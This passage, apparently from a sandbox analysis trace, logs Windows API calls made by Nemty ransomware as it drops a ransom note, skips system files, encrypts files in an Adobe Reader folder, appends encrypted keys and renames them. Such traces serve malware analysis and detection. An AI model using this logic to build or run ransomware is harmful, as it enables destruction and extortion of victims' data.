nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0193.007] CloseHandle (hObject=0x1ec) returned 1 [0193.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0193.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0193.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0193.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0193.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0193.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0193.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0193.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.007] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0193.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.008] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.008] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0193.009] CloseHandle (hObject=0x1ec) returned 1 [0193.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0193.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0193.009] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26af3830, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26af3830, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0193.009] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0193.009] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26af3830, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26af3830, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0193.009] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0193.009] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0193.009] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc0c180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x86988, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="2d.x3d", cAlternateFileName="")) returned 1 [0193.009] lstrcmpiW (lpString1="2d.x3d", lpString2=".") returned 1 [0193.009] lstrcmpiW (lpString1="2d.x3d", lpString2="..") returned 1 [0193.009] lstrcmpiW (lpString1="2d.x3d", lpString2="...") returned 1 [0193.009] lstrcmpiW (lpString1="2d.x3d", lpString2="windows") returned -1 [0193.009] lstrcmpiW (lpString1="2d.x3d", lpString2="$RECYCLE.BIN") returned 1 [0193.009] lstrcmpiW (lpString1="2d.x3d", lpString2="rsa") returned -1 [0193.009] lstrcmpiW (lpString1="2d.x3d", lpString2="NTDETECT.COM") returned -1 [0193.009] lstrcmpiW (lpString1="2d.x3d", lpString2="ntldr") returned -1 [0193.009] lstrcmpiW (lpString1="2d.x3d", lpString2="MSDOS.SYS") returned -1 [0193.009] lstrcmpiW (lpString1="2d.x3d", lpString2="IO.SYS") returned -1 [0193.009] lstrcmpiW (lpString1="2d.x3d", lpString2="boot.ini") returned -1 [0193.009] lstrcmpiW (lpString1="2d.x3d", lpString2="boot.ini") returned -1 [0193.009] lstrcmpiW (lpString1="2d.x3d", lpString2="AUTOEXEC.BAT") returned -1 [0193.009] lstrcmpiW (lpString1="2d.x3d", lpString2="ntuser.dat") returned -1 [0193.010] lstrcmpiW (lpString1="2d.x3d", lpString2="desktop.ini") returned -1 [0193.010] lstrcmpiW (lpString1="2d.x3d", lpString2="CONFIG.SYS") returned -1 [0193.010] lstrcmpiW (lpString1="2d.x3d", lpString2="RECYCLER") returned -1 [0193.010] lstrcmpiW (lpString1="2d.x3d", lpString2="BOOTSECT.BAK") returned -1 [0193.010] lstrcmpiW (lpString1="2d.x3d", lpString2="bootmgr") returned -1 [0193.010] lstrcmpiW (lpString1="2d.x3d", lpString2="programdata") returned -1 [0193.010] lstrcmpiW (lpString1="2d.x3d", lpString2="appdata") returned -1 [0193.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2d.x3d", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2d.x3d", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2d.x3d", lpUsedDefaultChar=0x0) returned 6 [0193.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2d.x3d", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2d.x3d", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2d.x3d", lpUsedDefaultChar=0x0) returned 6 [0193.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2d.x3d", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2d.x3d", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2d.x3d", lpUsedDefaultChar=0x0) returned 6 [0193.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2d.x3d", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2d.x3d", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2d.x3d", lpUsedDefaultChar=0x0) returned 6 [0193.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.010] Sleep (dwMilliseconds=0x5) [0193.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26b19990, dwHighDateTime=0x1d561e8)) [0193.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26b19990, dwHighDateTime=0x1d561e8)) [0193.017] GetLastError () returned 0xb7 [0193.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.017] GetLastError () returned 0xb7 [0193.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.017] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.017] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.017] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.017] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="yOo4gERkO6ihBF7m6VKu74QrBL9nQQhOzgiKhioqbv0WT2+OYb/sftoBMKYVTjrE\r\n9u444VxlLdSxRWohJJ1iHbQgiqYNUZUywVS/JOM1H+XD0899lpQ0wbVMeDfNGl+y\r\nRqcW15KqT1cpXcmz3oQ4UC67Wb5Hme+uMYtO9LlhNxurx55lVh9twwi6xPh1oeVu\r\nL9vsdsKwj6H8HbRBZt852bqaHaNgiQScGToCp9yAxmyQPKPgSZJJp+wLNwnfacxF\r\nA+a1rFAT1gd9eDF1xn175gCNp5VYqwytlaiO7ol3pnOBqmvf5m55UbI4qPakWG25\r\n5KAingEZDMaTnLurWKbEOg==\r\n", pcchString=0x653e91c) returned 1 [0193.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.017] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2d.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\2d.x3d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.018] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=551304) returned 1 [0193.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0193.018] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.018] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0193.028] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.028] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0193.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0193.028] SetFilePointer (in: hFile=0x254, lDistanceToMove=551304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x86988 [0193.028] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.030] CloseHandle (hObject=0x254) returned 1 [0193.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.030] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2d.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\2d.x3d"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2d.x3d._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\2d.x3d._nemty_kgobjgd_")) returned 1 [0193.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.031] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41b90, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="3difr.x3d", cAlternateFileName="")) returned 1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2=".") returned 1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="..") returned 1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="...") returned 1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="windows") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="$RECYCLE.BIN") returned 1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="rsa") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="NTDETECT.COM") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="ntldr") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="MSDOS.SYS") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="IO.SYS") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="boot.ini") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="boot.ini") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="AUTOEXEC.BAT") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="ntuser.dat") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="desktop.ini") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="CONFIG.SYS") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="RECYCLER") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="BOOTSECT.BAK") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="bootmgr") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="programdata") returned -1 [0193.031] lstrcmpiW (lpString1="3difr.x3d", lpString2="appdata") returned -1 [0193.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3difr.x3d", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3difr.x3d", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3difr.x3d", lpUsedDefaultChar=0x0) returned 9 [0193.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3difr.x3d", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3difr.x3d", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3difr.x3d", lpUsedDefaultChar=0x0) returned 9 [0193.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3difr.x3d", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3difr.x3d", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3difr.x3d", lpUsedDefaultChar=0x0) returned 9 [0193.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3difr.x3d", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3difr.x3d", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3difr.x3d", lpUsedDefaultChar=0x0) returned 9 [0193.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.033] Sleep (dwMilliseconds=0x5) [0193.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26b65c50, dwHighDateTime=0x1d561e8)) [0193.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26b65c50, dwHighDateTime=0x1d561e8)) [0193.048] GetLastError () returned 0x0 [0193.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.048] GetLastError () returned 0x0 [0193.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.048] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.048] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.048] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.048] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="NmlDaKv+Mq2VK2/WJ6OJSKkM7DnpTJQDju/WbJBujKLJzeeVBcRguekKVzklJpj+\r\nbjTecWYttN+4xFZl+Z8QLrFn5vr+deTX+o5Z+7VbcFE3lsGy8HFbQxr7w8oZvPkT\r\nPi9V5Dol6ajquBq5oBKuMw3gaqUtZ5pc/h8NodxK2Zj6kYXgMn8qJuxhZ79CQ5is\r\nYm+CH5LPhZOiUtF0G78Z/fBsRigqY6xfrCBNMEA4wq7qgchHb7ZB1Qi11hcDQ39w\r\nByj0lTbOH05FEcMd29zLZR4IJ7sLQ7i+kCu3Rym+UQjBIsbYF15DBtXXkVNlhAoh\r\nS/EIWIXjU8XUZT01Pfh6Hg==\r\n", pcchString=0x653e91c) returned 1 [0193.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.048] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\3difr.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\3difr.x3d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 